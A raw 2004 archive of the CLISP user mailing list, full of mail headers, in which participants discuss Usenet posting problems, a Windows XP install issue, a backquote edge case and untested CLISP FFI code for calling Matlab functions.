, List-Archive: Date: Tue Feb 24 01:36:01 2004 X-Original-Date: Tue, 24 Feb 2004 04:27:14 -0500 (EST) On Tue, 24 Feb 2004, Jim Newton wrote: > hi, does anyone reading this list have any success with the > lisp related news groups? I quite often post questions > about lisp and about python but never have anyone answering > my questions or even comment "wow that was a stupid question" :-) > > does anyone have any advice about these groups? how to get > good responses? when not to bother etc.... This may be obvious, and if so I apologize for the waste of bandwidth.. but do you check back to the newsgroup? It is etiquette to respond to messages in the group (not to CC to email) and to seek responses there. For instance, I asked a question recently about a Bison/Yacc solution for Common Lisp and was helped nicely with some GPL'd code. From kaz@footprints.net Tue Feb 24 08:11:50 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Avf9y-0007on-Lr for clisp-list@lists.sourceforge.net; Tue, 24 Feb 2004 08:11:50 -0800 Received: from ashi.footprints.net ([204.239.179.1] ident=mail) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1Avf1h-0006tg-Aj for clisp-list@lists.sourceforge.net; Tue, 24 Feb 2004 08:03:17 -0800 Received: from kaz by ashi.FootPrints.net with local (Exim 3.34 #1) id 1Avf1c-0000a0-00; Tue, 24 Feb 2004 08:03:12 -0800 From: Kaz Kylheku To: Jim Newton cc: clisp-list@lists.sourceforge.net In-Reply-To: <403B099B.4010109@rdrop.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: lisp news groups Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Feb 24 08:12:02 2004 X-Original-Date: Tue, 24 Feb 2004 08:03:11 -0800 (PST) On Tue, 24 Feb 2004, Jim Newton wrote: > Date: Tue, 24 Feb 2004 09:21:47 +0100 > From: Jim Newton > To: clisp-list@lists.sourceforge.net > Subject: [clisp-list] lisp news groups > > hi, does anyone reading this list have any success with the > lisp related news groups? You mean the Usenet newsgroup comp.lang.lisp? The most recent posting from you there, according to Google's archives, was on November 22, 2003, in a thread "Why don't people like lisp?" that is also crossposted to comp.lang.python. > I quite often post questions > about lisp and about python but never have anyone answering > my questions or even comment "wow that was a stupid question" :-) If you have posted since then, it must be the case that your articles are just not making it to the entire Usenet. From kraehe@copyleft.de Tue Feb 24 09:21:02 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AvgEv-0001W8-JJ for clisp-list@lists.sourceforge.net; Tue, 24 Feb 2004 09:21:01 -0800 Received: from mout1.freenet.de ([194.97.50.132]) by sc8-sf-mx1.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.30) id 1Avg6c-0001Ya-8p for clisp-list@lists.sourceforge.net; Tue, 24 Feb 2004 09:12:26 -0800 Received: from [194.97.50.144] (helo=mx1.freenet.de) by mout1.freenet.de with asmtp (Exim 4.30) id 1Avg6X-00026N-DW; Tue, 24 Feb 2004 18:12:21 +0100 Received: from g5ae8.g.pppool.de ([80.185.90.232] helo=bakunin.copyleft.de) by mx1.freenet.de with esmtp (Exim 4.30 #6) id 1Avg6W-0008I6-Rj; Tue, 24 Feb 2004 18:12:20 +0100 Received: from kraehe by bakunin.copyleft.de with local (Exim 3.35 #1 (Debian)) id 1Avg6T-0003oR-00; Tue, 24 Feb 2004 18:12:17 +0100 From: Michael Koehne To: Kaz Kylheku , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: lisp news groups Message-ID: <20040224171217.GA14618@bakunin.copyleft.de> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.28i X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Feb 24 09:22:14 2004 X-Original-Date: Tue, 24 Feb 2004 18:12:17 +0100 Moin Kaz Kylheku, > If you have posted since then, it must be the case that your articles > are just not making it to the entire Usenet. I had a (in)famous UseNet site in the late 80th and early 90th. Bakunin.North.De caused germany to go down for 3 days (because of a cnews/sendsys bug^h^h^h^hfeature ;) and Linux being more important than Sex (because of a loop in fido and maus gateways ;) I moved out of UseNet news, when it became unreadable. Mailing lists more close to the topic (e.g. this one) and IRC e.g. /server irc.freenode.de /join #lisp replaced news in better way. The symtom you describe, is that only cross postings reach the net. This may be a problem on your side, or on your feed, and nearly impossible to debug without the help of your feed and further information. So the best question is : - Where to find a c.l.lisp feed with a working uplink. Think about a provider, that is cheating in a way, that he only has a real feed for the groups, he is interested in, e.g. comp.lang.python - and receives the rest by satalite downlink. He could offer any group for reading, but only postings in his favourites would reach the net. Bye Michael -- mailto:kraehe@copyleft.de UNA:+.? 'CED+2+:::Linux:2.4.22'UNZ+1' http://www.xml-edifact.org/ CETERUM CENSEO WINDOWS ESSE DELENDAM From qcorp@earthlink.net Tue Feb 24 11:16:28 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Avi2d-0005sa-Vi for clisp-list@lists.sourceforge.net; Tue, 24 Feb 2004 11:16:27 -0800 Received: from turkey.mail.pas.earthlink.net ([207.217.120.126]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1Avhhy-00023C-9l for clisp-list@lists.sourceforge.net; Tue, 24 Feb 2004 10:55:06 -0800 Received: from misspiggy.psp.pas.earthlink.net ([207.217.78.246]) by turkey.mail.pas.earthlink.net with esmtp (Exim 3.33 #1) id 1AvhuG-0000nc-00 for clisp-list@lists.sourceforge.net; Tue, 24 Feb 2004 11:07:48 -0800 Message-ID: <32716343.1077649668650.JavaMail.root@misspiggy.psp.pas.earthlink.net> From: William Brown Reply-To: William Brown To: clisp-list@lists.sourceforge.net Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Mailer: Earthlink Zoo Mail 1.0 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] clisp not installing on XP Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Feb 24 11:17:03 2004 X-Original-Date: Tue, 24 Feb 2004 11:07:39 -0800 (PST) Mr. Steingold, I have downloaded Clist 2.32 win 32 onto my HP Pavilion N5425 laptop using Windows XP. However, the program will not install by clicking on the install.bat file nor by using Run on the Start menu. I read your readme notes on Installation: but cannot understand what you are asking. Change what strings in src/config.lisp? Change them to what? There is only one lisp.exe file and it has a long name lisp.exe-0F44C2DE.pf. It will not start when clicked nor using RUN on the Start menu. Also the lisp.exe file resides in c:\windows\prefetch. Is there something I am missing? Is it an XP problem? Is there a fix? William C. Brown, Ph.D. qcorp@qcorplit.com From sds@gnu.org Tue Feb 24 12:14:41 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Aviwv-0003D4-Gm for clisp-list@lists.sourceforge.net; Tue, 24 Feb 2004 12:14:37 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1AvicC-00024J-4X for clisp-list@lists.sourceforge.net; Tue, 24 Feb 2004 11:53:12 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i1OK5jfW024968; Tue, 24 Feb 2004 15:05:45 -0500 (EST) To: clisp-list@lists.sourceforge.net, William Brown Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <32716343.1077649668650.JavaMail.root@misspiggy.psp.pas.earthlink.net> (William Brown's message of "Tue, 24 Feb 2004 11:07:39 -0800 (PST)") References: <32716343.1077649668650.JavaMail.root@misspiggy.psp.pas.earthlink.net> Mail-Followup-To: clisp-list@lists.sourceforge.net, William Brown Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: -4.901 X-Scanned-By: MIMEDefang 2.39 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: clisp not installing on XP Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Feb 24 12:15:10 2004 X-Original-Date: Tue, 24 Feb 2004 15:05:45 -0500 > * William Brown [2004-02-24 11:07:39 -0800]: > > I have downloaded Clist 2.32 win 32 onto my HP Pavilion N5425 laptop > using Windows XP. However, the program will not install by clicking > on the install.bat file nor by using Run on the Start menu. please try instead. > Change what strings in src/config.lisp? *editor*, *load-paths*, *clhs-root-default* and others as you see fit. > Change them to what? to whatever better reflects your environment. > There is only one lisp.exe file and it has a long name > lisp.exe-0F44C2DE.pf. It will not start when clicked nor using RUN on > the Start menu. Also the lisp.exe file resides in > c:\windows\prefetch. you should have downloaded a zip file and un-zipped it into a directory, something like "c:\gnu\clisp-2.32\". if winzip or windows, in a miguided attempt to protect you from viruses, do not let you do that, you will need to download info-zip. (google for it) -- Sam Steingold (http://www.podval.org/~sds) running w2k There are two ways to write error-free programs; only the third one works. From kaz@footprints.net Tue Feb 24 15:27:46 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AvfBS-0008K0-7P for clisp-list@lists.sourceforge.net; Tue, 24 Feb 2004 08:13:22 -0800 Received: from ashi.footprints.net ([204.239.179.1] ident=mail) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1Aveqx-0007em-Bj for clisp-list@lists.sourceforge.net; Tue, 24 Feb 2004 07:52:11 -0800 Received: from kaz by ashi.FootPrints.net with local (Exim 3.34 #1) id 1Avf39-0000i3-00; Tue, 24 Feb 2004 08:04:47 -0800 From: Kaz Kylheku To: Jim Newton cc: clisp-list@lists.sourceforge.net In-Reply-To: <403B099B.4010109@rdrop.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: lisp news groups Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Feb 24 15:28:07 2004 X-Original-Date: Tue, 24 Feb 2004 08:04:47 -0800 (PST) On Tue, 24 Feb 2004, Jim Newton wrote: > Date: Tue, 24 Feb 2004 09:21:47 +0100 > From: Jim Newton > To: clisp-list@lists.sourceforge.net > Subject: [clisp-list] lisp news groups > > hi, does anyone reading this list have any success with the > lisp related news groups? You mean the Usenet newsgroup comp.lang.lisp? Sure, read and post there all the time. The most recent posting from you, according to Google's archives, was on November 22, 2003, in a thread "Why don't people like lisp?" that is also crossposted to comp.lang.python. > I quite often post questions > about lisp and about python but never have anyone answering > my questions or even comment "wow that was a stupid question" :-) If you have posted since then, it must be the case that your articles are simply not making it to the entire Usenet. From kaz@footprints.net Wed Feb 25 13:01:59 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Aw6AJ-0003KA-KC for clisp-list@lists.sourceforge.net; Wed, 25 Feb 2004 13:01:59 -0800 Received: from ashi.footprints.net ([204.239.179.1] ident=mail) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1Aw5o6-000356-OT for clisp-list@lists.sourceforge.net; Wed, 25 Feb 2004 12:39:02 -0800 Received: from kaz by ashi.FootPrints.net with local (Exim 3.34 #1) id 1Aw61H-00019C-00 for clisp-list@lists.sourceforge.net; Wed, 25 Feb 2004 12:52:39 -0800 From: Kaz Kylheku To: clisp-list@lists.sourceforge.net Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Backquote problem. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Feb 25 13:02:11 2004 X-Original-Date: Wed, 25 Feb 2004 12:52:39 -0800 (PST) It has come to my attention that some Lisps allow this: `(x1 x2 ... xn . #(,y1 ,@y2 ...)) In other words, the backquote can be an improper list, whose trailing atom contains an object with unquotes. My backquote implementation rejects this because it's closely based on the CLHS-suggested transformation of `(x1 x2 ... xn . atom) into (append [x1] [x2] ... [xn] (quote atom)) where the [] notation indicates a transformation to be done on the items, not relevant to this issue. So it appears that the usage requires a diagnostic or is undefined behavior. What the implementation does now is it leaves the pieces of unquote syntax in the atom, without any diagnostic. Nevertheless, if a trivial change is made in the code, so that the translation is: (append [x1] [x2] ... [xn] (backquote atom)) then the expected behavior is produced which matches what some other Lisps produce: the unquotes are reduced against the backquote and everything is cool. (Of course, the usage: `(x1 x2 ... xn . #(,y1 ,@y2 ...)) can be rewritten like this to explicitly propagate a backquote down to the atom: `(x1 x2 ... xn . ,`#(,y1 ,@y2 ...)) which obtains the desired behavior without depending on undefined syntax). From sds@gnu.org Wed Feb 25 14:31:51 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Aw7ZG-0007DI-PP for clisp-list@lists.sourceforge.net; Wed, 25 Feb 2004 14:31:50 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1Aw7QE-00017u-Rl for clisp-list@lists.sourceforge.net; Wed, 25 Feb 2004 14:22:30 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i1PMLkCp011748; Wed, 25 Feb 2004 17:21:46 -0500 (EST) To: clisp-list@lists.sourceforge.net, Kaz Kylheku Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: (Kaz Kylheku's message of "Wed, 25 Feb 2004 12:52:39 -0800 (PST)") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Kaz Kylheku Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: -4.901 X-Scanned-By: MIMEDefang 2.39 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Backquote problem. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Feb 25 14:32:04 2004 X-Original-Date: Wed, 25 Feb 2004 17:21:46 -0500 > * Kaz Kylheku [2004-02-25 12:52:39 -0800]: > > Nevertheless, if a trivial change is made in the code, so that the > translation is: > > (append [x1] [x2] ... [xn] (backquote atom)) > > then the expected behavior is produced which matches what some other > Lisps produce: the unquotes are reduced against the backquote and > everything is cool. sounds good - please send a patch and a ChangeLog entry. -- Sam Steingold (http://www.podval.org/~sds) running w2k Time would have been the best Teacher, if it did not kill all its students. From jimka@rdrop.com Wed Feb 25 15:23:18 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Aw8N4-0002JS-AR for clisp-list@lists.sourceforge.net; Wed, 25 Feb 2004 15:23:18 -0800 Received: from mx02.qsc.de ([213.148.130.14]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1Aw80i-0005Kr-IO for clisp-list@lists.sourceforge.net; Wed, 25 Feb 2004 15:00:12 -0800 Received: from port-212-202-78-89.reverse.qsc.de ([212.202.78.89] helo=rdrop.com) by mx02.qsc.de with esmtp (Exim 3.35 #1) id 1Aw8Dt-0007jg-00; Thu, 26 Feb 2004 00:13:49 +0100 Message-ID: <403D2026.9040601@rdrop.com> From: Jim Newton User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.5b) Gecko/20030827 X-Accept-Language: en-us, en MIME-Version: 1.0 Newsgroups: comp.lang.lisp CC: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] ISO something like apply in python Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Feb 25 15:24:05 2004 X-Original-Date: Wed, 25 Feb 2004 23:22:30 +0100 hi, does anyone know how to do the equivalent of apply in python? i.e., (apply my_fun some_list) many thanks. -jim lets see if this quesiton makes it to comp.lang.lisp From Joerg-Cyril.Hoehle@t-systems.com Thu Feb 26 06:23:47 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AwMQV-0001W0-Dj for clisp-list@lists.sourceforge.net; Thu, 26 Feb 2004 06:23:47 -0800 Received: from mail4.telekom.de ([195.243.210.197]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1AwM3G-0004Sj-4Y for clisp-list@lists.sourceforge.net; Thu, 26 Feb 2004 05:59:46 -0800 Received: from g8pbr.blf01.telekom.de by mail2.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Thu, 26 Feb 2004 15:13:54 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Thu, 26 Feb 2004 15:13:53 +0100 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE09F0BC21@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: array of strings? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Feb 26 06:24:02 2004 X-Original-Date: Thu, 26 Feb 2004 15:13:49 +0100 Hi, Sam Steingold needs to interface to the obscure matGetDir funtion of MathWorks/Matlab? I went to that page and I understand next to nothing. Great documentation! 1. "int *num" seems to be an :out variable. But is it possibly :in-out? 2. Sam will have to invoke mxFree() on the result (the callee calls mxCalloc() internally). Therefore, a return type like (c-array c-string N) cannot be used, since the original pointer must be preserved. This function is a typical candidate where I believe a higher-level Lisp look&feel API would be valuable (aka "thick" interface in Ada), instead of C interface weirdness brought to Lisp. The nice Lisp-visible function internally needs several calls to low-level code to accomplish desired functionality (e.g. get-dir + mxFree). CLISP's FFI allows relatively complex protocols to be covered (e.g. :malloc-free convention), but it cannot yet declare everything in one swoop. Existing libraries are too diverse for that. I once thought about declarable resources. This get-dir API function would fall into that schema: one could declare the finalizing function, mxFree() in the present case, or e.g. CloseSocket/Window etc. Very handy for the Amiga. Even more when GC-collectable. Here's my guess at what the documentation may mean: The code remembers def-var-call for variable sized arguments, with the addition of freeing resources. (def-var-call-out %get-dir-internal (:library "foo.library") (:language :stdc) (:name "matGetDir") (:arguments (MAT-file c-pointer) (num-entries int :out)) (:guard (foreign-pointer-not-null return)) ; not-yet in CLISP, ignore ;;(:return-type (c-pointer (c-array c-string num-entries))) ; not in CLISP (:return-type c-pointer)) (def-call-out mx-free (:library "mathworks.library") (:language :stdc) (:name "mxFree") (:arguments (memory c-pointer)) (:return-type nil)) ; guessed (defun mw:get-dir (MAT-file) ;;(declare (type (or foreign-pointer foreign-variable) MAT-file)) (multiple-value-bind (membuf num-entries) (get-dir-internal MAT-file) (when (and/or? (foreign-pointer-not-null membuf); superfluous? (> 0 num-entries)) ;TODO? need mxfree when zero num-entries? ;;(setq membuf (set-pointer-base membuf :new)) ;;(ffi-finalize membuf #'mx-free) (unwind-protect ;;(coerce 'list #) ; coerce array to Lisp if you wish (with-c-var (names `(c-ptr (c-array c-string ,num-entries))) ;; or use (c-ptr (c-array-max char ,(1+ mxMAXNAM))) instead of c-string (setf (cast names 'c-pointer) membuf) names) (mxFree membuf))))) ;;TODO? error out if num-entries <0 (or NULL pointer) Disclaimer: Completely untested, abundant typos, etc. (defun ffi-finalize (x terminator &key (mark-invalid t)) ;; This relies on correct management of pointer-valid information (when (validp x) (unwind-protect (funcall terminator x) (when mark-invalid (setf (validp x) nil))))) Kaz wrote: > They must do some funny allocation to allow you to blow this away with > just one call to their mxFree() function. Typical C: Once you know the size of all strings, allocate enough room for them and the array and fill that memory, building up the pointer structure for the array. A single free() is felt to be very convenient among C programmers. >maybe the MATFile object owns these strings, Indeed, there's also a completely distinct interpretation. The array returned could be just that: an array. The string's characters could reside in the MAT-file itself, and share lifetime with that object. We just don't know. C (and C++) documentation is traditionally silent about lifetime. It gets on my nerves. Hope this help, Jorg Hohle From Joerg-Cyril.Hoehle@t-systems.com Thu Feb 26 06:35:16 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AwMbc-00054e-JH for clisp-list@lists.sourceforge.net; Thu, 26 Feb 2004 06:35:16 -0800 Received: from mail4.telekom.de ([195.243.210.197]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1AwMSC-0003JR-8f for clisp-list@lists.sourceforge.net; Thu, 26 Feb 2004 06:25:32 -0800 Received: from g8pbr.blf01.telekom.de by mail2.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Thu, 26 Feb 2004 15:25:25 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Thu, 26 Feb 2004 15:25:24 +0100 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE09F0BC2D@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: array of strings? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Feb 26 06:36:03 2004 X-Original-Date: Thu, 26 Feb 2004 15:25:22 +0100 Hi, Sam had another question about interfacing to C code. >? > I will need to allocate and deallocate the buffer, right? You'll need to keep your buffer constantly available to the C world, therefore you indeed need a constant address buffer. C Stack allocation using with-foreign is still possible, but don't forget unwind-protect to disable buffering upon exit of the scope! >(setq z (allocate-shallow '(c-array char 1000))) ok >(engOutputBuffer ep (c-var-address z) 1000) c-var-address is wrong, it's for places. Just say z, and the FFI will extract the address inside the FOREIGN-VARIABLE object z. Or use foreign-variable-address (IIRC). >(engOutputBuffer ep NIL 0) I cannot remember whether NIL argument is accepted with the c-pointer type. I believe it's not. If not, you'll need two function declarations, or e.g. (unsigned-foreign-address 0) (iirk). >(foreign-free z) ok. Regards, Jorg Hohle. From sds@gnu.org Thu Feb 26 06:47:31 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AwMnT-0001Kj-Kw for clisp-list@lists.sourceforge.net; Thu, 26 Feb 2004 06:47:31 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1AwMe3-00058t-54 for clisp-list@lists.sourceforge.net; Thu, 26 Feb 2004 06:37:47 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i1QEbYTI007387; Thu, 26 Feb 2004 09:37:35 -0500 (EST) To: clisp-list@lists.sourceforge.net, Jim Newton Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <403D2026.9040601@rdrop.com> (Jim Newton's message of "Wed, 25 Feb 2004 23:22:30 +0100") References: <403D2026.9040601@rdrop.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Jim Newton Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: -4.901 X-Scanned-By: MIMEDefang 2.39 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: ISO something like apply in python Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Feb 26 06:48:03 2004 X-Original-Date: Thu, 26 Feb 2004 09:37:34 -0500 > * Jim Newton [2004-02-25 23:22:30 +0100]: > > hi, does anyone know how to do the equivalent of apply in python? > i.e., (apply my_fun some_list) -- Sam Steingold (http://www.podval.org/~sds) running w2k MS: Brain off-line, please wait. From sds@gnu.org Thu Feb 26 08:20:56 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AwOFn-0007Un-T0 for clisp-list@lists.sourceforge.net; Thu, 26 Feb 2004 